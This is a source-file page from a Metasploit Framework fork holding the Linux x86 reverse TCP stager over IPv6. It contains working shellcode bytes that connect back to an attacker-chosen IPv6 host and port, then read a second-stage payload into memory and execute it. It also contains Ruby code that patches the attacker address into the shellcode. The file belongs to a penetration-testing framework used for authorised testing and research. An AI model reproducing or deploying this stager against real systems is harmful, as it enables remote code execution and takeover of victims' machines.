PageRenderTime 46ms CodeModel.GetById 21ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb

https://bitbucket.org/technopunk2099/metasploit-framework
Ruby | 67 lines | 47 code | 12 blank | 8 comment | 2 complexity | a7da1ac9b4f6412bca1e9003fdb2fcce MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, LGPL-2.1, GPL-2.0, MIT
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7. require 'msf/core'
  8. require 'msf/core/handler/reverse_tcp'
  9. # Linux Reverse TCP/IPv6 Stager
  10. module Metasploit3
  11. include Msf::Payload::Stager
  12. include Msf::Payload::Linux
  13. def self.handler_type_alias
  14. "reverse_ipv6_tcp"
  15. end
  16. def initialize(info = {})
  17. super(merge_info(info,
  18. 'Name' => 'Reverse TCP Stager (IPv6)',
  19. 'Description' => 'Connect back to attacker over IPv6',
  20. 'Author' => 'kris katterjohn',
  21. 'License' => MSF_LICENSE,
  22. 'Platform' => 'linux',
  23. 'Arch' => ARCH_X86,
  24. 'Handler' => Msf::Handler::ReverseTcp,
  25. 'Stager' => {
  26. 'Offsets' => {
  27. 'ADDR' => [ 0x15, 'foo' ],
  28. 'LPORT' => [ 0x2c, 'n' ],
  29. 'SCOPEID' => [ 0x11, 'V' ]
  30. },
  31. 'Payload' =>
  32. "\x31\xdb\x53\x43\x53\x6a\x0a\x89\xe1\x6a\x66\x58\xcd\x80\x96\x99" +
  33. "\x68\x00\x00\x00\x00\x68\xde\xad\xbe\xef\x68\xde\xad\xbe\xef\x68" +
  34. "\xde\xad\xbe\xef\x68\xde\xad\xbe\xef\x52\x66\x68\xbf\xbf\x66\x68" +
  35. "\x0a\x00\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd" +
  36. "\x80\x89\xf3\xb6\x0c\xb0\x03\xcd\x80\x89\xdf\xff\xe1"
  37. }
  38. ))
  39. register_options([
  40. OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
  41. ])
  42. end
  43. # This isn't pretty, but then again neither are IPv6 addresses --Kris
  44. def replace_var(raw, name, offset, pack)
  45. return false unless name == 'ADDR'
  46. addr = ""
  47. substitute_vars(addr, { 'LHOST' => [ 0, 'ADDR6' ] })
  48. repl = ""
  49. addr.unpack('V*').reverse.each do |x|
  50. repl += Rex::Arch::X86.push_dword(x)
  51. end
  52. raw[offset, repl.length] = repl
  53. true
  54. end
  55. end